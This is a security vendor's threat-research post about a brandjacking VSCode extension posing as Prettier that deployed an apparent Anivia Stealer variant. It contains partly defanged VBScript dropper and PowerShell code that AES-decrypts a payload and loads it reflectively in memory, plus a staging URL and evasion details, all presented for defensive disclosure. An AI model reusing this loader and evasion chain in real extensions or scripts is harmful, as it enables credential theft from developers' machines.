This document copyright Checkmarx, all rights reserved. Checkmarx Zero’s ongoing monitoring of the Visual Studio Code Marketplace has identified a critical Brandjacking style attack in the form of a malicious VSCode extension. Update 2025-12-05: additional brandjacking attacks that appear to be from this same campaign or adversary have also been identified and taken down. Name: ` prettier-vscode-plus` (full identifier: `publishingsofficial.prettier-vscode-plus`)Publisher Account: publishingsofficialRelease Date: 2025-11-21 11:34:12 UTC We identified and reported this extension quickly, and it was removed within 4 hours after its publication, thanks to the efforts of Daniel Miranda and Raphael Silva on the Checkmarx Zero team and coordination with the VSCode Marketplace security team. We detected only 6 downloads and 3 installs before removal. This extension appears to be a fork of the legitimate “Prettier” extension (identifier `esbenp.prettier-vscode`) with malicious behaviors added. The name, content, and overall style of the extension suggest the intention to use the recognition of the well-known “Prettier” brand to trick developers into installing this malicious alternative. Never miss critical research Checkmarx Zero in your Inbox Never Miss Checkmarx Zero Research Updates. Subscribe today! By submitting my information to Checkmarx, I hereby consent to the terms and conditions found in the Checkmarx Privacy Policy and to the processing of my personal data as described therein. By clicking submit above, you consent to allow Checkmarx to store and process the personal information submitted above to provide you the content requested. Malicious behavior in prettier-vscode-plus indicates skillful attack attempt The payload system inserted into the malicious extension appears designed to evade common anti-malware and static scanning tactics. It’s a multi-stage attack that ends with deploying and running what appears to be a variant of the Anivia Stealer malware; this malware acquires and exfiltrates credentials, metadata, and private information like WhatsApp chats from Windows machines. The basic deployment process follows this path: Acquires payload data as a base64-encoded blob from a GitHub repository (see commit: https://github[.]com/biwwwwwwwwwww/vscode/commit/672525f0a8c826a69ca6a5961ad496cee29d9072.patch) Writes VBScript (VBS) code to the `%TEMP%` directory, executes it, and then removes it to avoid detection The VBS works as a “bootstrap” of sorts to execute PowerShell commands which decrypt the blob from step 1 into an executable binary in memory, using a static AES key (`AniviaCryptKey2024!32ByteKey!HXX`). Avoiding writing the binary to disk is likely an attempt to avoid triggering endpoint security system defenses. Executes the binary from memory by using the `[Reflection.Assembly]::Load` pathway, then calls the entry point `Anivia.AniviaCRT`; evidence that this is an Anivia Stealer deployment. This approach leaves very little evidence behind; a temporary presence of a file in a temporary directory is all the disk activity that the attack needs to establish itself on the system. It also uses evasive techniques like looking for evidence that it’s running inside a detonation chamber or similar sandbox, such as checking whether the system has a small CPU count or a very small amount of available RAM. First-stage payload snippet Relevant VBScript code from the first stage of the attack; we’ve edited this script to render it inert, by removing actual payload content and the decryption/decoding methods. Dim fso, shell, tempFile, stream, ps1Content Set fso = CreateObject("Scripting.FileSystemObject") Set shell = CreateObject("WScript.Shell") tempFile = fso.GetSpecialFolder(2) & "\" & fso.GetTempName() & ".ps1" ps1Content = "PAYLOAD" : Rem removed content that decrypts and decodes real payload Set stream = fso.OpenTextFile(tempFile, 2, True) stream.Write ps1Content stream.Close shell.Run "powershell.exe -ExecutionPolicy Bypass -NoProfile -File """ & tempFile & """", 0, False WScript.Sleep 5000 On Error Resume Next fso.DeleteFile tempFile Second-stage payload snippet This PowerShell script decrypts and loads the stealer malware binary without creating any new files on disk. We’ve replaced specific names with STEALER for safety. $key = [System.Convert]::FromBase64String('KEY_HERE') $encrypted = [System.Convert]::FromBase64String('PAYLOAD_HERE') # Decrypt AES $iv = New-Object byte[] 16 [Array]::Copy($encrypted, 0, $iv, 0, 16) $ciphertext = New-Object byte[] ($encrypted.Length - 16) [Array]::Copy($encrypted, 16, $ciphertext, 0, $ciphertext.Length) $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $key $aes.IV = $iv $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $decryptor = $aes.CreateDecryptor() $exeBytes = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length) $aes.Dispose() # Load assembly from bytes $assembly = [System.Reflection.Assembly]::Load($exeBytes) # Find and invoke STEALER.Main() #SAFETY: adjusted name $type = $null try { $type = $assembly.GetType('STEALER', $true, $true) #SAFETY: adjusted name } catch { # Try to find type in all types $allTypes = $assembly.GetTypes() foreach ($t in $allTypes) { if ($t.FullName -eq 'STEALER' -or $t.Name -eq 'STEALER') { #SAFETY: adjusted name $type = $t break } } } if ($type -ne $null) { $bindingFlags = [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::InvokeMethod $method = $type.GetMethod('Main', $bindingFlags) if ($method -eq $null) { # Try with default binding flags $method = $type.GetMethod('Main') } if ($method -ne $null) { $method.Invoke($null, $null) } else { Write-Error 'Main method not found in AniviaCRT' } } else { Write-Error 'STEALER type not found. Available types:' #SAFETY: adjusted name $assembly.GetTypes() | ForEach-Object { Write-Host $_.FullName } } How to respond to this malicious VSCode Extension Checkmarx Zero’s rapid identification coupled with Microsoft’s rapid response means that the extension was removed before it could gain significant traction. However, the incident does highlight the need to ensure that your endpoint security controls are capable of detecting multi-stage attacks of this nature. An EDR tool capable of blocking the Anivia malware’s behaviors, for example, likely limits the damage such a malicious package can cause. We continue to actively monitor the VSCode Marketplace for malicious extensions of this type, field our skilled security analysts to examine suspicious behaviors, and report discovered malware to the VSCode Marketplace. The Microsoft team responsible for Marketplace security continues to be responsive as well, leading to rapid removals of malicious extensions multiple times per week. However, threat actors can use pathways other than the Marketplace to distribute their malware; it’s important to educate developers on the risks of installing extensions from outside the official marketplace. And depending on your organization’s risk tolerance, it may be appropriate to use endpoint controls to block extension content that originates outside the VSCode Marketplace. Subscribe to Checkmarx Zero updates Never Miss Checkmarx Zero Research Updates. Subscribe today! By submitting my information to Checkmarx, I hereby consent to the terms and conditions found in the Checkmarx Privacy Policy and to the processing of my personal data as described therein. By clicking submit above, you consent to allow Checkmarx to store and process the personal information submitted above to provide you the content requested. linkedin-app Share on LinkedIn Share on Bluesky Follow Checkmarx Zero: linkedin-app